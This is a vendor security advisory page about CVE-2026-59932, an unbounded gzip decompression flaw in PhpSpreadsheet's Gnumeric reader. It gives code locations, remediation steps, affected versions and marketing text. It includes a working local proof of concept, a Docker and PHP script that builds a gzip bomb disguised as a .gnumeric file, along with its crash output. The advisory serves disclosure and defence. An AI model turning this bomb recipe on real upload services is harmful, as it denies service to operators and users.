CVE-2026-59932

CVE-2026-59932 is a high-severity uncontrolled resource consumption vulnerability in phpoffice/phpspreadsheet (composer), affecting versions >= 4.0.0, <= 5.8.0. It is fixed in 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

PHPSpreadsheet: Gnumeric reader unbounded gzip expansion causes memory exhaustion

PhpSpreadsheet's Gnumeric reader reads attacker-supplied .gnumeric files into memory and, when the file starts with gzip magic bytes, calls gzdecode() on the full compressed contents without enforcing a decompressed-size limit. A very small compressed .gnumeric file can expand to data larger than the PHP memory limit and crash the process during Gnumeric::canRead() before the file is rejected or fully parsed.

This is reachable through normal file-type detection and Gnumeric loading paths, so applications that accept attacker-controlled spreadsheet uploads can suffer denial of service.

Vulnerability details

Gnumeric::canRead() invokes gzfileGetContents() before deciding whether the file is a valid Gnumeric spreadsheet:

  • src/PhpSpreadsheet/Reader/Gnumeric.php:80-90 calls $this->gzfileGetContents($filename) from canRead().
  • src/PhpSpreadsheet/Reader/Gnumeric.php:105-115 calls canRead() and then reads the expanded contents again for worksheet-name listing.
  • src/PhpSpreadsheet/Reader/Gnumeric.php:253-265 calls canRead() and then reads the expanded contents again for full loading.

The vulnerable expansion is in gzfileGetContents():

  • src/PhpSpreadsheet/Reader/Gnumeric.php:187-190 reads the entire input file into $contents with file_get_contents().
  • src/PhpSpreadsheet/Reader/Gnumeric.php:192-197 detects gzip magic bytes and calls gzdecode($contents) without a decompressed-size cap.
  • src/PhpSpreadsheet/Reader/Gnumeric.php:204-205 scans the expanded data only after decompression has already completed.

Because decompression occurs before XML scanning or structural validation, a tiny gzip payload can force large memory allocation even if the resulting XML is meaningless or invalid.

Safe local proof of concept

This proof of concept uses only Docker with --network none; it creates the compressed payload inside the container and does not contact external infrastructure.

docker run --rm --network none -i \
  -v /home/sondt23/Github/CVE/ares/github-repo/PhpSpreadsheet:/app \
  -w /app ghcr.io/typo3/core-testing-php82:1.15 sh <<'SH'
set -eu
php -r '
$prefix = "<?xml version=\"1.0\"?><gnm:Workbook xmlns:gnm=\"http://www.gnumeric.org/v10.dtd\">";
$suffix = "</gnm:Workbook>";
$payload = $prefix . str_repeat("A", 96 * 1024 * 1024) . $suffix;
$gz = gzencode($payload, 9);
file_put_contents("/tmp/bomb.gnumeric", $gz);
printf("compressed_size=%d expanded_size=%d\n", filesize("/tmp/bomb.gnumeric"), strlen($payload));
'
php -d memory_limit=64M -d display_errors=1 -r '
require "/app/vendor/autoload.php";
$r = new PhpOffice\PhpSpreadsheet\Reader\Gnumeric();
var_dump($r->canRead("/tmp/bomb.gnumeric"));
' 2>&1 || true
SH

Observed output:

compressed_size=97811 expanded_size=100663390
PHP Fatal error:  Allowed memory size of 67108864 bytes exhausted (tried to allocate 50291378 bytes) in /app/src/PhpSpreadsheet/Reader/Gnumeric.php on line 195
PHP Stack trace:
PHP   1. {main}() Command line code:0
PHP   2. PhpOffice\PhpSpreadsheet\Reader\Gnumeric->canRead($filename = '/tmp/bomb.gnumeric') Command line code:4
PHP   3. PhpOffice\PhpSpreadsheet\Reader\Gnumeric->gzfileGetContents($filename = '/tmp/bomb.gnumeric') /app/src/PhpSpreadsheet/Reader/Gnumeric.php:84
PHP   4. gzdecode(...) /app/src/PhpSpreadsheet/Reader/Gnumeric.php:195

Suggested remediation

  • Do not decompress gzip data with unbounded gzdecode() for untrusted .gnumeric files.
  • Stream decompression with a strict maximum output-size limit before allocating the full expanded XML.
  • Enforce a configurable maximum compressed size and maximum decompressed size for Gnumeric files.
  • Ensure canRead(), listWorksheetNames(), listWorksheetInfo(), and load() share bounded decompression logic and avoid decompressing the same file repeatedly.
  • Fail closed with a recoverable Reader\Exception when limits are exceeded, rather than allowing a PHP fatal memory error.

Impact

A small .gnumeric upload can crash a PHP worker during spreadsheet type detection or import. This can cause denial of service in web applications, queue workers, preview services, document converters, or any service that runs PhpSpreadsheet against untrusted spreadsheet files.

In the local reproduction below, a 97,811-byte file expands to about 96 MiB and crashes Gnumeric::canRead() under memory_limit=64M at Reader/Gnumeric.php:195.

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2026-59932 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6); upgrading removes the vulnerable code path.

Affected versions

phpoffice/phpspreadsheet (>= 4.0.0, <= 5.8.0) phpoffice/phpspreadsheet (>= 3.3.0, <= 3.10.6) phpoffice/phpspreadsheet (>= 2.2.0, <= 2.4.6) phpoffice/phpspreadsheet (>= 2.0.0, <= 2.1.17) phpoffice/phpspreadsheet (<= 1.30.5)

Security releases

phpoffice/phpspreadsheet → 5.8.1 (composer) phpoffice/phpspreadsheet → 3.10.7 (composer) phpoffice/phpspreadsheet → 2.4.7 (composer) phpoffice/phpspreadsheet → 2.1.18 (composer) phpoffice/phpspreadsheet → 1.30.6 (composer)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade the following packages to resolve this vulnerability:

phpoffice/phpspreadsheet to 5.8.1 or later; phpoffice/phpspreadsheet to 3.10.7 or later; phpoffice/phpspreadsheet to 2.4.7 or later; phpoffice/phpspreadsheet to 2.1.18 or later; phpoffice/phpspreadsheet to 1.30.6 or later

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-59932? CVE-2026-59932 is a high-severity uncontrolled resource consumption vulnerability in phpoffice/phpspreadsheet (composer), affecting versions >= 4.0.0, <= 5.8.0. It is fixed in 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
  2. How severe is CVE-2026-59932? CVE-2026-59932 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of phpoffice/phpspreadsheet are affected by CVE-2026-59932? phpoffice/phpspreadsheet (composer) versions >= 4.0.0, <= 5.8.0 is affected.
  4. Is there a fix for CVE-2026-59932? Yes. CVE-2026-59932 is fixed in 5.8.1, 3.10.7, 2.4.7, 2.1.18, 1.30.6. Upgrade to this version or later.
  5. Is CVE-2026-59932 exploitable, and should I be worried? Whether CVE-2026-59932 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-59932 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-59932?
    • Upgrade phpoffice/phpspreadsheet to 5.8.1 or later
    • Upgrade phpoffice/phpspreadsheet to 3.10.7 or later
    • Upgrade phpoffice/phpspreadsheet to 2.4.7 or later
    • Upgrade phpoffice/phpspreadsheet to 2.1.18 or later
    • Upgrade phpoffice/phpspreadsheet to 1.30.6 or later

Other vulnerabilities in phpoffice/phpspreadsheet

Stop the waste.
Protect your environment with Kodem.